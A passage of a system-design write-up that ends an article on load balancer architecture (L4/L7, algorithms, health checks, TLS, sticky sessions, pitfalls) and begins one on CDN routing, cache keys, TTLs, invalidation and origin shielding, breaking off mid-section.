3. LB either NATs the connection (changes dest IP) or uses Direct Server Return (DSR)
4. All packets for that connection flow to the same backend

**Performance characteristics:**

- Latency overhead: 50-100 microseconds
- Throughput: 10-40 Gbps per commodity server
- Connection table size: Millions of concurrent connections
- CPU usage: Minimal—no payload parsing

**Direct Server Return (DSR):**

In DSR mode, the load balancer only handles inbound traffic. Responses go directly from backend to client, bypassing the LB entirely. This eliminates the return-path bottleneck but requires:

- L4 only (no application-layer features)
- Kernel configuration on backends (disable ARP on loopback)
- Loss of TLS termination capability

**Best for:** High-volume TCP services (databases, message queues), UDP workloads (DNS, gaming, video streaming), and TLS passthrough where backend decryption is required.

### Layer 7: Application-Level Routing

L7 load balancers terminate the TCP connection and parse the application protocol (HTTP, gRPC, WebSocket). Routing decisions use request content: URL path, headers, cookies, method.

**How it works:**

1. Client completes TCP + TLS handshake with LB
2. LB receives full HTTP request
3. LB inspects headers/path and selects backend
4. LB opens new connection to backend (connection pooling)
5. LB forwards request, possibly modifying headers

**Performance characteristics:**

- Latency overhead: 0.5-3 milliseconds (TLS + HTTP parsing)
- Throughput: 1-5 Gbps per server
- Memory: Higher—must buffer requests
- CPU: Significant—TLS termination, header parsing

**Capabilities enabled by L7:**

| Feature                | How It Works                                      |
| ---------------------- | ------------------------------------------------- |
| Path-based routing     | Route `/api/*` to API servers, `/static/*` to CDN |
| Header-based routing   | Route by `Host`, `Authorization`, custom headers  |
| Request transformation | Add/remove headers, rewrite URLs                  |
| Rate limiting          | Limit by client ID, API key, IP                   |
| A/B testing            | Route percentage of traffic by cookie             |
| Circuit breaking       | Stop routing to failing backends                  |

**Best for:** HTTP APIs, microservices, WebSocket applications, anything requiring content-aware routing or TLS termination.

### Choosing Between L4 and L7

| Factor              | Choose L4                | Choose L7                       |
| ------------------- | ------------------------ | ------------------------------- |
| Protocol            | Non-HTTP (TCP/UDP raw)   | HTTP/HTTPS/gRPC                 |
| Throughput need     | > 10 Gbps                | < 5 Gbps acceptable             |
| Latency sensitivity | Sub-millisecond required | Milliseconds acceptable         |
| Routing complexity  | Simple round robin       | Content-based routing           |
| TLS handling        | Passthrough to backend   | Terminate at LB                 |
| Connection reuse    | Not needed               | Beneficial (connection pooling) |

**Production pattern:** Most architectures use both. L4 at the edge distributes across L7 pools. L7 handles application routing. Example: AWS NLB (L4) fronting ALB (L7), or Google's Maglev (L4) fronting Envoy (L7).

## Load Balancing Algorithms

### Design Choices

#### Round Robin

**Mechanism:** Distribute requests to backends in sequence. Backend 1, then 2, then 3, then back to 1.

**When to use:**

- Homogeneous backend capacity
- Request durations are similar
- No state requirements

**Trade-offs:**

- ✅ Simple, deterministic, minimal overhead
- ✅ Even distribution over time
- ❌ Ignores backend load—slow backends get same traffic
- ❌ Long requests can pile up on one server

**Weighted variant:** Assign weights proportional to capacity. A server with weight 3 gets 3x the requests of weight 1.

#### Least Connections

**Mechanism:** Route to the backend with fewest active connections.

**When to use:**

- Variable request durations
- Database connections (long-lived)
- Backends with different capacities (weighted)

**Trade-offs:**

- ✅ Adapts to current load dynamically
- ✅ Handles slow requests gracefully
- ❌ Requires connection tracking state
- ❌ Doesn't account for connection "weight" (one heavy query vs many light ones)

**Weighted formula:**

```
score = active_connections / weight
```

Route to server with lowest score.

**Real-world:** HAProxy's `leastconn` is standard for database connection pools where query times vary from 1ms to 10s.

#### Consistent Hashing

**Mechanism:** Hash the request key (client IP, user ID, session ID) to a position on a ring. Route to the next server clockwise on the ring.

**When to use:**

- Session affinity without cookies
- Cache locality (same client hits same cache)
- Distributed systems with topology changes

**Trade-offs:**

- ✅ Minimal remapping when servers join/leave (only K/N keys move)
- ✅ Deterministic—same key always hits same server
- ❌ Uneven distribution without virtual nodes
- ❌ Hot keys create hot servers

**Virtual nodes:** Each physical server maps to 100-1000 positions on the ring. Discord uses 1000 virtual nodes per physical node, achieving <5% load variance after node failures.

**Real-world example—DynamoDB:** Uses consistent hashing for partition distribution. Hot partition keys remain a top operational issue—the algorithm can't fix uneven key access patterns.

#### Power of Two Choices (P2C)

**Mechanism:** Select 2 random healthy backends, route to the one with fewer active requests.

**When to use:**

- Large backend pools (50+ servers)
- Need simplicity with good load distribution
- High request rates where O(N) scans are expensive

**Trade-offs:**

- ✅ O(1) algorithm—constant time regardless of pool size
- ✅ Avoids herding (multiple LBs won't pick same "best" server)
- ✅ Nearly as effective as full least-connections scan
- ❌ Slightly less optimal than true least-connections

**Why it works:** The "power of two choices" is a fundamental result in randomized algorithms. Choosing from 2 random options exponentially reduces maximum load compared to choosing 1 random option.

**Real-world:** Envoy Proxy uses P2C as its default algorithm. Netflix's Zuul uses a P2C variant with probation for overload mitigation.

#### Maglev (Google's Algorithm)

**Mechanism:** Consistent hashing with a lookup table optimized for speed. Maps 5-tuple to backend via a permutation table.

**When to use:**

- Software load balancers at massive scale
- Need consistent hashing with faster lookup than ring hash
- Connection-oriented protocols (connection must stay on same backend)

**Trade-offs:**

- ✅ Sub-millisecond lookup times
- ✅ Minimal disruption on backend changes
- ✅ Even distribution across backends
- ❌ Slightly less stable than ring hash on churn
- ❌ Complex to implement correctly

**Real-world:** Google's Maglev handles millions of connections per second across 100+ backend clusters. The lookup table provides O(1) access while maintaining consistent hashing properties.

### Algorithm Decision Matrix

| Factor                       | Round Robin | Least Conn          | Consistent Hash | P2C                 |
| ---------------------------- | ----------- | ------------------- | --------------- | ------------------- |
| Request duration variability | Low         | High                | Any             | High                |
| Backend count                | Any         | Any                 | Any             | 50+                 |
| State requirement            | None        | Connection tracking | None            | Connection tracking |
| Session affinity             | No          | No                  | Yes (by key)    | No                  |
| Computational cost           | O(1)        | O(N) or O(log N)    | O(1)            | O(1)                |
| Handles hot spots            | No          | Partially           | No              | Partially           |

## Health Checks and Failover

### Health Check Mechanisms

#### TCP Health Checks

**How it works:** LB opens TCP connection to backend port. If SYN-ACK received within timeout, backend is healthy.

**Parameters:**

- Interval: 5-30 seconds typical
- Timeout: 2-10 seconds
- Unhealthy threshold: 2-5 consecutive failures

**Limitations:** Only verifies network connectivity. Backend may accept TCP but fail HTTP requests (app crashed but socket still bound).

#### HTTP Health Checks

**How it works:** LB sends HTTP request (typically GET or OPTIONS) to health endpoint. Expects 2xx/3xx response.

**Parameters:**

- Path: `/health`, `/healthz`, `/ready`
- Expected status: 200-399
- Response body validation (optional)

**Best practice:** Health endpoint should verify critical dependencies:

```
GET /health
{
  "status": "healthy",
  "database": "connected",
  "cache": "connected",
  "uptime_seconds": 3600
}
```

But keep checks fast—health endpoints shouldn't query databases on every call.

#### Active vs Passive Health Checking

**Active:** LB probes each backend at intervals regardless of traffic.

- More responsive to failures
- Adds load to backends (N probes × M backends)
- Can detect failures before user traffic hits them

**Passive:** LB monitors real traffic responses.

- Zero additional load
- Only detects failures when traffic flows
- Can track gradual degradation (rising error rates)

**Production pattern:** Use both. Active checks for fast failure detection. Passive checks for anomaly detection (backend returning 500s but responding to health checks).

### Failure Detection Timing

The total time to detect and react to a failure:

```
Detection time = (interval × unhealthy_threshold) + timeout
```

With interval=5s, threshold=3, timeout=2s: **17 seconds** worst case.

For faster detection:

| Setting             | Aggressive | Balanced | Conservative |
| ------------------- | ---------- | -------- | ------------ |
| Interval            | 2s         | 5s       | 30s          |
| Timeout             | 1s         | 2s       | 5s           |
| Unhealthy threshold | 2          | 3        | 5            |
| Detection time      | 5s         | 17s      | 155s         |

**Trade-off:** Aggressive settings increase false positives (transient network blips mark healthy servers as down) and health check load.

### Connection Draining

When removing a backend (deployment, scaling down), abrupt removal causes in-flight requests to fail.

**Connection draining process:**

1. LB stops sending NEW requests to backend
2. Existing connections continue until complete or timeout
3. After drain timeout, LB forcibly closes remaining connections
4. Backend removed from pool

**Parameters:**

- Drain timeout: 30-300 seconds typical (AWS default: 300s)
- In-flight request grace period

**Real-world:** Zero-downtime deployments require drain timeouts longer than your longest request. If you have 60-second report generation requests, drain timeout must be > 60s.

### Thundering Herd on Failover

When a backend recovers or new capacity is added, all LBs may route traffic to it simultaneously, causing immediate overload.

**Mitigation strategies:**

1. **Slow start:** Gradually increase traffic to recovered backends over 30-60 seconds
2. **Connection limits:** Cap connections per backend during ramp-up
3. **Health check jitter:** Randomize health check timing across LBs

**DNS-level thundering herd:** When DNS TTL expires after a failover, all clients resolve simultaneously and hit the same (recovered) endpoint. Mitigation: Use 30-60 second TTLs for failover scenarios, implement staggered TTLs.

## TLS Termination Strategies

### TLS Termination at Load Balancer

**How it works:** LB decrypts TLS, inspects HTTP, forwards plaintext to backends.

**Advantages:**

- Enables L7 features (routing, transformation, logging)
- Centralizes certificate management
- Offloads CPU from backends (TLS is expensive)
- Enables connection pooling to backends

**Disadvantages:**

- LB has access to plaintext traffic
- LB becomes a performance bottleneck for TLS
- Certificates must be stored on LB (security surface)

**Performance:** Modern LBs use hardware acceleration (AES-NI, dedicated TLS ASICs). AWS NLB handles 2.5M TLS handshakes/second per node.

### TLS Passthrough

**How it works:** LB forwards encrypted traffic unchanged. Backend terminates TLS.

**Advantages:**

- End-to-end encryption (LB never sees plaintext)
- Backends control cipher suites, certificates
- Simpler LB (L4 only)

**Disadvantages:**

- No L7 features (routing must be by IP/port)
- Each backend manages certificates
- No connection pooling

**Use case:** Compliance requirements where LB cannot access plaintext (PCI DSS, healthcare).

### Re-encryption (TLS Bridging)

**How it works:** LB terminates client TLS, inspects content, establishes new TLS connection to backend.

**Advantages:**

- Full L7 features
- Backend-to-LB traffic encrypted
- Can use different certificates (internal PKI)

**Disadvantages:**

- Double TLS overhead (decrypt + re-encrypt)
- ~20-30% more CPU than termination-only
- Key management complexity

**Use case:** Zero-trust networks, sensitive data requiring encryption in transit everywhere.

### Decision Guide

| Requirement                   | Recommendation               |
| ----------------------------- | ---------------------------- |
| Need L7 routing               | Terminate or re-encrypt      |
| Compliance: LB can't see data | Passthrough                  |
| Internal network untrusted    | Re-encrypt                   |
| Maximum performance           | Terminate only               |
| Backend certificate rotation  | Terminate (centralize certs) |

**Production pattern:** 68% of enterprise deployments use termination at LB with plaintext to backends in trusted networks. Re-encryption is growing with zero-trust adoption.

## Session Affinity and Sticky Routing

### Mechanisms

#### Cookie-Based Affinity

**How it works:** LB injects cookie identifying backend server. Subsequent requests with that cookie route to same backend.

**Types:**

- **Duration-based:** LB-generated cookie with TTL
- **Application-controlled:** App sets cookie, LB reads it

**Example (HAProxy):**

```
backend servers
    cookie SERVERID insert indirect nocache
    server s1 10.0.0.1:8080 cookie s1
    server s2 10.0.0.2:8080 cookie s2
```

#### IP-Based Affinity

**How it works:** Hash client IP to backend. Same IP always hits same backend.

**Problems:**

- NAT: Thousands of users behind same IP
- Mobile: IP changes as users move
- IPv6: Clients may have multiple addresses

#### Header-Based Affinity

**How it works:** Route based on custom header (user ID, session ID, tenant ID).

**Use case:** Multi-tenant systems where tenant data is sharded.

### Trade-offs of Sticky Sessions

**Benefits:**

- Session data stays local (no replication needed)
- Better cache hit rates
- Simpler for stateful protocols (WebSocket, gRPC streaming)

**Problems:**

- **Uneven load:** Server with long sessions gets overloaded
- **Failure impact:** Sticky server dies = all its sessions lost
- **Scaling difficulty:** Can't easily move sessions during scale-out
- **DDoS vulnerability:** Attackers can concentrate load

### Alternatives to Sticky Sessions

| Approach               | How It Works                       | Trade-off                             |
| ---------------------- | ---------------------------------- | ------------------------------------- |
| Shared session store   | Redis/Memcached stores sessions    | Network latency per request           |
| Stateless tokens       | JWT or encrypted session in cookie | Token size, can't revoke easily       |
| Client-side storage    | LocalStorage/SessionStorage        | Limited size, security considerations |
| Database session table | Session in PostgreSQL/MySQL        | Higher latency, DB load               |

**Modern recommendation:** Avoid sticky sessions for horizontally-scaled services. Use stateless design or shared session stores. Reserve stickiness for truly stateful protocols (WebSocket where server holds connection state).

## Real-World Implementations

### Netflix: Edge Load Balancing

**Scale:** 80+ Zuul clusters, 100+ backend clusters, 1M+ requests/second.

**Architecture:**

1. AWS ELB (L4) distributes to Zuul instances
2. Zuul (L7) handles routing, auth, rate limiting
3. Ribbon (client-side) balances to backend services

**Algorithm choice:** P2C with probation. Servers returning errors enter probation—they receive reduced traffic until recovery.

**Zone-aware routing:** Zuul tracks success rate per availability zone. If zone-A has 90% success and zone-B has 70%, traffic shifts to zone-A.

**Why this design:** Netflix needs to handle correlated failures (entire AZ goes down). Zone-aware routing provides automatic failover without DNS changes.

### Google: Maglev

**Scale:** Millions of connections/second, hundreds of backends per service.

**Design decisions:**

- **L4 only:** Maglev doesn't parse HTTP. Speed is paramount.
- **Consistent hashing:** 5-tuple hash ensures connection stability
- **No state replication:** Each Maglev instance is stateless. ECMP distributes across Maglevs.
- **Lookup table:** 65,537-entry permutation table for O(1) backend selection

**Why consistent hashing:** Connection-oriented protocols (HTTP/2, gRPC) multiplex requests over long-lived connections. Breaking connections means re-establishing TLS, losing request context.

**Trade-off accepted:** Maglev doesn't provide L7 features. Those are handled by Envoy proxies behind Maglev.

### Cloudflare: Anycast + No Traditional LBs

**Approach:** Announce same IP addresses from all 300+ data centers via BGP. Internet routing delivers users to nearest DC.

**Why no traditional LBs:**

- BGP handles geographic distribution for free
- Each DC runs identical stack
- No single point of failure

**Challenge:** TCP over anycast is tricky—route changes mid-connection break sessions. Cloudflare engineered TCP to handle route flaps.

**Trade-off:** Requires massive PoP presence. Works for Cloudflare's edge network, not for typical enterprise deployments.

### AWS: NLB vs ALB Design Differences

**Network Load Balancer (NLB):**

- L4 only, handles 1M+ connections/second
- Preserves source IP (no NAT in passthrough mode)
- Static IPs (important for firewall rules)
- 100ms latency percentile targets

**Application Load Balancer (ALB):**

- L7, HTTP/HTTPS parsing
- Content-based routing, path/header matching
- WebSocket and HTTP/2 support
- Connection pooling to backends

**When AWS recommends NLB:** Non-HTTP protocols, extreme scale, need for static IPs, latency-sensitive workloads.

**When AWS recommends ALB:** HTTP APIs, microservices, need for content routing, WebSocket support.

## Common Pitfalls

### 1. Health Check Endpoint That Lies

**The mistake:** Health endpoint returns 200 but service can't handle real traffic (database disconnected, cache full, dependencies down).

**Why it happens:** Health check only verifies process is running, not that it can serve requests.

**The consequence:** LB routes traffic to "healthy" server that fails every request.

**The fix:** Health endpoint should verify critical path. At minimum, check database connectivity and essential dependencies. But keep it fast—don't run full queries.

### 2. Ignoring Connection Draining

**The mistake:** Terminate backends immediately during deployments.

**Why it happens:** Drain timeout slows deployments. Developers disable it for faster iteration.

**The consequence:** In-flight requests get 502/503 errors. Users see failures during every deploy.

**The fix:** Set drain timeout >= your longest expected request. For long-running requests, implement graceful shutdown in the application.

### 3. Sticky Sessions Without Fallback

**The mistake:** Session affinity with no handling for backend failure.

**Why it happens:** Session stored only on sticky backend, no replication.

**The consequence:** When sticky backend fails, user loses session (logged out, cart emptied).

**The fix:** Either replicate sessions to shared store, or accept session loss and ensure graceful re-authentication.

### 4. DNS TTL Too High for Failover

**The mistake:** DNS TTL of 3600s (1 hour) for load-balanced services.

**Why it happens:** Default TTL values, reduces DNS query load.

**The consequence:** After failover, clients continue hitting dead endpoint for up to 1 hour.

**The fix:** Use 30-60 second TTLs for services requiring fast failover. Accept increased DNS query volume as the trade-off.

### 5. No Overload Protection

**The mistake:** Load balancer keeps routing to overloaded backends.

**Why it happens:** Health checks pass (backend responds) but backend is saturated.

**The consequence:** Cascade failure—one slow backend makes all requests slow via head-of-line blocking.

**The fix:** Implement connection limits per backend. Use circuit breakers. Monitor latency percentiles, not just health status.

## Conclusion

Load balancer architecture requires matching the technology to your constraints:

- **L4 vs L7:** Choose based on throughput needs vs routing intelligence. Use both for large systems—L4 at edge, L7 behind.
- **Algorithm:** Round robin for homogeneous workloads, least connections for variable request durations, consistent hashing for stateful routing, P2C for large pools.
- **TLS:** Terminate at LB unless compliance requires passthrough. Re-encrypt only when internal network is untrusted.
- **Session affinity:** Avoid unless truly necessary. Use shared session stores for horizontal scaling.
- **Health checks:** Active for fast failure detection, passive for anomaly tracking. Tune aggressiveness to your availability requirements.

The recurring theme: there's no universally correct answer. Netflix needs zone-aware routing for regional failures. Google needs sub-millisecond consistent hashing at massive scale. Cloudflare eliminated traditional LBs entirely. Your architecture depends on your specific scale, latency requirements, and operational capabilities.

## Appendix

### Prerequisites

- TCP/IP networking fundamentals (three-way handshake, connection states)
- TLS handshake process
- HTTP/1.1 and HTTP/2 basics
- DNS resolution

### Summary

- L4 load balancers route by connection (50-100μs overhead, 10-40 Gbps throughput)
- L7 load balancers route by request content (0.5-3ms overhead, enables content-aware routing)
- Algorithm choice depends on request patterns: round robin for uniform, least-conn for variable, consistent hash for stateful
- Health checks should verify service capability, not just process liveness
- Connection draining is required for zero-downtime deployments
- Sticky sessions impede horizontal scaling; prefer shared session stores

### References

- [Maglev: A Fast and Reliable Software Network Load Balancer](https://research.google/pubs/maglev-a-fast-and-reliable-software-network-load-balancer/) - Google Research paper on their production load balancer
- [Netflix: Rethinking Edge Load Balancing](https://netflixtechblog.com/netflix-edge-load-balancing-695c35a15f59) - Netflix engineering blog on Zuul and zone-aware routing
- [Envoy Load Balancing Documentation](https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/upstream/load_balancing/load_balancers) - P2C algorithm and load balancing internals
- [HAProxy Configuration Manual](https://www.haproxy.com/documentation/haproxy-configuration-manual/latest/) - Health checks, algorithms, connection draining
- [AWS Elastic Load Balancing Documentation](https://docs.aws.amazon.com/elasticloadbalancing/) - NLB, ALB, and GLB design and configuration
- [Cloudflare: Load Balancing without Load Balancers](https://blog.cloudflare.com/cloudflares-architecture-eliminating-single-p/) - Anycast-based architecture
- [How Discord Stores Billions of Messages](https://discord.com/blog/how-discord-stores-billions-of-messages) - Consistent hashing in practice
- [The Power of Two Random Choices](https://www.eecs.harvard.edu/~michaelm/postscripts/mythesis.pdf) - Academic foundation for P2C algorithm

---

## CDN Architecture and Edge Caching

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/cdn-architecture-and-caching
**Category:** System Design / System Design Fundamentals
**Description:** How Content Delivery Networks reduce latency, protect origins, and scale global traffic distribution. This article covers request routing mechanisms, cache key design, invalidation strategies, tiered caching architectures, and edge compute—with explicit trade-offs for each design choice.

# CDN Architecture and Edge Caching

How Content Delivery Networks reduce latency, protect origins, and scale global traffic distribution. This article covers request routing mechanisms, cache key design, invalidation strategies, tiered caching architectures, and edge compute—with explicit trade-offs for each design choice.

<figure>

![CDN request flow: DNS routes users to nearest edge PoP. Cache misses aggregate through origin shield before reaching origin.](./cdn-request-flow-dns-routes-users-to-nearest-edge-pop-cache-misses-aggregate-thr.svg)

<figcaption>CDN request flow: DNS routes users to nearest edge PoP. Cache misses aggregate through origin shield before reaching origin.</figcaption>
</figure>

## Abstract

A CDN (Content Delivery Network) is a geographically distributed cache layer that intercepts requests before they reach the origin. The core trade-off space:

- **Freshness vs. latency**: Longer TTLs improve cache hit ratio but risk serving stale content
- **Cache granularity vs. efficiency**: More cache key variations enable personalization but reduce hit rates
- **Origin protection vs. complexity**: Tiered caching and request collapsing protect origin but add failure modes

The mental model: every CDN decision balances these three tensions. Cache key design determines what gets deduplicated. TTL and invalidation strategy determine how long cached content remains valid. Tiered architecture determines how many requests actually reach origin.

## Request Routing Mechanisms

CDNs route users to the nearest edge Point of Presence (PoP) through one of three mechanisms, each with distinct trade-offs.

### DNS-Based Routing

The authoritative DNS server returns different IP addresses based on the resolver's location. When a user in Tokyo queries `cdn.example.com`, the DNS server returns the IP of the Tokyo PoP.

**How it works:**

1. User's recursive resolver queries authoritative DNS
2. DNS server determines resolver location (via IP geolocation)
3. Returns IP of nearest PoP with shortest TTL (30-60 seconds typical)

**Trade-offs:**

- ✅ Simple to implement, works with any HTTP client
- ✅ Granular control over routing decisions
- ❌ Resolver location ≠ user location (corporate networks, public DNS)
- ❌ DNS TTL limits failover speed (30-60 second propagation)

**Real-world:** AWS CloudFront uses DNS-based routing with 400+ edge locations. Route 53 latency-based routing returns the endpoint with lowest measured latency to the resolver's network.

### Anycast Routing

A single IP address is announced from multiple PoPs via Border Gateway Protocol (BGP). Network routers automatically forward packets to the topologically nearest PoP.

**How it works:**

1. All edge PoPs announce the same IP prefix
2. BGP routing tables propagate across the internet
3. Each router forwards to the "nearest" AS (Autonomous System)

**Trade-offs:**

- ✅ Sub-second failover (BGP convergence, not DNS TTL)
- ✅ DDoS traffic absorbed by nearest PoP, never reaches origin
- ✅ No resolver-location mismatch
- ❌ "Nearest" is network hops, not geographic distance
- ❌ BGP route flapping can cause connection resets

**Real-world:** Cloudflare's entire network (200+ cities, 388+ Tbps capacity) uses Anycast. DNS responses are 2.5× faster than origin servers because queries hit the nearest PoP rather than a centralized resolver.

### HTTP Redirect Routing

Initial request goes to a central router that returns a 302 redirect to the optimal PoP. Rarely used for CDN edge routing but common for internal tier selection.

**Trade-offs:**

- ✅ Application-layer routing decisions (user agent, cookies, etc.)
- ❌ Additional round-trip (redirect latency)
- ❌ Requires client to follow redirects

### Decision Matrix: Routing Mechanisms

| Factor                 | DNS-Based        | Anycast                | HTTP Redirect |
| ---------------------- | ---------------- | ---------------------- | ------------- |
| Failover speed         | 30-60s (DNS TTL) | < 1s (BGP)             | < 1s          |
| DDoS absorption        | Per-PoP          | Automatic distribution | N/A           |
| Implementation         | Simple           | Requires BGP/ASN       | Simple        |
| User location accuracy | Moderate         | High                   | High          |
| Connection persistence | Good             | BGP flaps can reset    | Good          |

## Cache Key Design

The cache key determines which requests share the same cached response. Every request generates a cache key; identical keys serve the same cached content.

### Default Cache Key Components

Most CDNs construct the default cache key from:

```
{protocol}://{host}{path}?{query_string}
```

Two requests to `https://example.com/logo.png` and `https://cdn.example.com/logo.png` create **separate cache entries** despite serving identical content. Host normalization eliminates this duplication.

### Cache Key Customization Options

| Component    | Include                              | Exclude                             | Use Case                           |
| ------------ | ------------------------------------ | ----------------------------------- | ---------------------------------- |
| Host         | Multiple domains, different content  | Multiple domains, same content      | Multi-tenant vs. mirror domains    |
| Protocol     | HTTP/HTTPS serve different content   | Protocol-agnostic content           | Legacy HTTP support vs. HTTPS-only |
| Query string | Pagination, filters                  | Tracking params (`utm_*`, `fbclid`) | Dynamic vs. marketing URLs         |
| Headers      | `Accept-Encoding`, `Accept-Language` | Non-varying headers                 | Content negotiation vs. hit ratio  |
| Cookies      | Session-based content                | Non-personalized content            | Auth state vs. public content      |

### Query String Strategies

**Include all (default):**
`/products?id=123&utm_source=twitter` and `/products?id=123&utm_source=email` are cached separately.

**Allowlist approach:**
Include only `id`, `page`, `sort`. Marketing parameters excluded.

**Denylist approach:**
Exclude `utm_*`, `fbclid`, `gclid`. Everything else included.

**Warning:** Changing cache key configuration can cause 50%+ cache hit ratio drop. New requests use different keys than existing cache entries. Plan migrations during low-traffic windows.

### Header-Based Variation (Vary)

The `Vary` header instructs caches to store separate versions based on request header values.

```http
Vary: Accept-Encoding
```

This creates separate cache entries for:

- `Accept-Encoding: gzip`
- `Accept-Encoding: br`
- `Accept-Encoding: identity`

**Trade-offs:**

- ✅ Serves optimal content per client capability
- ❌ Cache fragmentation reduces hit ratio
- ❌ `Vary: *` effectively disables caching

**Real-world gotcha:** `Vary: User-Agent` creates thousands of cache variants (every browser version = separate entry). Use `Vary: Accept-Encoding` instead, or normalize User-Agent to categories (mobile/desktop) in edge logic.

## TTL Strategies and Trade-offs

Time-to-Live (TTL) determines how long cached content remains fresh. The fundamental tension: longer TTLs improve hit ratio but increase staleness risk.

### TTL Directive Hierarchy

CDNs evaluate freshness in this order (highest priority first):

1. `s-maxage` — shared cache TTL (CDN-specific)
2. `max-age` — general cache TTL
3. `Expires` header — absolute expiration time
4. Heuristic (typically 10% of `Last-Modified` age)

```http
Cache-Control: max-age=300, s-maxage=3600
```

Browser caches for 5 minutes. CDN caches for 1 hour. CDN serves stale-to-browser content while maintaining higher hit ratio at edge.

### TTL Selection by Content Type

| Content Type            | Recommended TTL | Invalidation Strategy           |
| ----------------------- | --------------- | ------------------------------- |
| Static assets (JS, CSS) | 1 year          | Versioned URLs (fingerprinting) |
| Images                  | 1-7 days        | Versioned URLs or soft purge    |
| HTML pages              | 5 min - 1 hour  | Stale-while-revalidate          |
| API responses           | 0-60 seconds    | Short TTL + cache tags          |
| User-specific content   | 0 (private)     | No CDN caching                  |

### Layered TTL Strategy

Different TTLs per cache layer optimize for different concerns:

```http
Cache-Control: max-age=60, s-maxage=3600, stale-while-revalidate=86400
```

- **Browser (max-age=60):** Revalidates every minute, sees fresh content
- **CDN (s-maxage=3600):** Caches for 1 hour, fewer origin requests
- **Stale grace (86400):** Serves stale up to 1 day during revalidation

**Design rationale:** Browsers are single-user caches—frequent revalidation is cheap. CDN serves millions of users—longer TTL dramatically reduces origin load.

### Real-World TTL Example: Netflix

Netflix encodes content to multiple bitrates and stores each as separate files with content-addressable names. TTL is effectively infinite (1 year) because the filename changes when content changes. No invalidation needed—new content = new URL.

## Cache Invalidation Strategies

Invalidation removes or marks cached content as stale. The classic aphorism: "There are only two hard things in computer science: cache invalidation and naming things."

### Hard Purge

Immediately removes content from cache. Next request fetches from origin.

**Mechanism:**

```bash
curl -X PURGE https://cdn.example.com/product/123
```

**Trade-offs:**

- ✅ Immediate freshness guarantee
- ❌ Thundering herd: if cache hit ratio was 98%, purge causes 50× origin load spike
- ❌ Propagation delay across global PoPs (seconds to minutes)

**When to use:** Security incidents (leaked content), legal takedowns, critical errors.

### Soft Purge

Marks content as stale but continues serving while fetching fresh copy.

**Mechanism:**

1. Soft purge marks object stale
2. First request after purge receives stale response
3. CDN asynchronously fetches fresh copy from origin
4. Subsequent requests get fresh content

**Trade-offs:**

- ✅ No origin spike (single revalidation request)
- ✅ Users never see cache miss latency
- ❌ First user after purge sees stale content
- ❌ 30-second to 5-minute staleness window

**When to use:** Routine content updates, non-critical freshness requirements.

**Real-world:** Fastly's soft purge is the default recommendation. Hard purge reserved for emergencies.

### Versioned URLs (Cache Busting)

Include version identifier in URL. Content changes = new URL = new cache entry.

```
/assets/main.a1b2c3d4.js   # Hash of file contents
/assets/main.v2.js         # Manual version number
```

**Trade-offs:**

- ✅ No invalidation needed—old and new versions coexist
- ✅ Atomic deploys: all assets update simultaneously
- ✅ Infinite TTL possible (content never changes at same URL)
- ❌ Requires build pipeline integration
- ❌ HTML must update to reference new URLs

**When to use:** Static assets (JS, CSS, images). Industry standard for production deployments.

### Stale-While-Revalidate (RFC 5861)

Serve stale content while asynchronously revalidating in background.

```http
Cache-Control: max-age=60, stale-while-revalidate=86400
```

**Behavior:**

- 0-60 seconds: Fresh content served, no revalidation
- 60-86460 seconds: Stale content served, background revalidation triggered
- > 86460 seconds: Cache miss, synchronous fetch from origin

**Trade-offs:**

- ✅ Users always see fast response (cached content)
- ✅ Content eventually consistent with origin
- ❌ Not all CDNs support true async revalidation
- ❌ First request after max-age still pays latency cost on some implementations

**CDN support:** CloudFront, Cloudflare, Fastly, Azure CDN. Implementation varies—test actual behavior.

### Stale-If-Error

Serve stale content when origin returns error.

```http
Cache-Control: max-age=60, stale-if-error=86400
```

**Behavior:** If origin returns 5xx or is unreachable, serve stale content up to 86400 seconds old.

**Critical for:** Origin protection during outages. Users see stale content instead of errors.

### Cache Tags (Surrogate Keys)

Tag cached objects with logical identifiers for group invalidation.

```http
Surrogate-Key: product-123 category-electronics featured
```

Purge all objects tagged `category-electronics` with single API call:

```bash
curl -X PURGE -H "Surrogate-Key: category-electronics" https://cdn.example.com/
```

**Trade-offs:**

- ✅ Invalidate logical groups without knowing URLs
- ✅ Single product update invalidates all related pages
- ❌ Tag management complexity
- ❌ Over-tagging leads to cascading purges

**Real-world:** E-commerce sites tag product pages with product ID, category IDs, brand ID. Product price change purges all pages showing that product.

### Decision Matrix: Invalidation Strategies

| Strategy               | Freshness | Origin Protection | Complexity | Use Case                      |
| ---------------------- | --------- | ----------------- | ---------- | ----------------------------- |
| Hard purge             | Immediate | Poor              | Low        | Security incidents            |
| Soft purge             | 30s-5min  | Excellent         | Low        | Routine updates               |
| Versioned URLs         | Instant   | Excellent         | Medium     | Static assets                 |
| Stale-while-revalidate | Eventual  | Good              | Low        | HTML, API responses           |
| Cache tags             | Variable  | Variable          | High       | Complex content relationships |

## Origin Shielding and Tiered Caching

Origin shielding adds an intermediate cache layer between edge PoPs and origin. The goal: reduce origin load by consolidating cache misses.

### How Tiered Caching Works

Without shielding (2-tier):

```
User → Edge PoP → Origin
```

100 PoPs × 100 misses = 10,000 origin requests

With shielding (3-tier):

```
User → Edge PoP → Origin Shield → Origin
```

100 PoPs × 100 misses → 1 shield request → 1 origin request

**Design rationale:** Cache misses from multiple edge PoPs converge at a single shield PoP. The shield absorbs duplicate requests before they reach origin.

### Request Collapsing

Multiple simultaneous requests for the same uncached object are collapsed into a single origin request.

**Without collapsing:**
20 users request `/video/intro.mp4` simultaneously → 20 origin requests

**With collapsing:**
20 users request `/video/intro.mp4` simultaneously → 1 origin request, 19 users wait

**Interaction with shielding:** Up to 4 levels of request consolidation:

1. Browser cache (single user)
2. Edge PoP collapsing (per-PoP)
3. Shield collapsing (across PoPs)
4. Origin-level caching

### Real-World Tiered Architecture: Cloudflare

**Regional Tiered Cache:**

- Lower tier: User-facing edge PoPs (200+ cities)
- Upper tier: Regional shield PoPs (fewer locations, higher cache capacity)
- Origin: Customer infrastructure

**Cache Reserve:** Persistent disk storage at upper tier for long-tail content. RAM cache eviction doesn't mean origin fetch—disk provides second chance.

### Google Media CDN Three-Layer Model

| Layer           | Location            | Purpose                                   |
| --------------- | ------------------- | ----------------------------------------- |
| Deep edge       | ISP networks        | Majority of traffic (popular content)     |
| Peering edge    | Google network edge | Mid-tier, connected to thousands of ISPs  |
| Long-tail cache | Google data centers | Origin shield for rarely-accessed content |

### Shield Location Selection

**Geographic proximity to origin:**

- Lower shield-to-origin latency
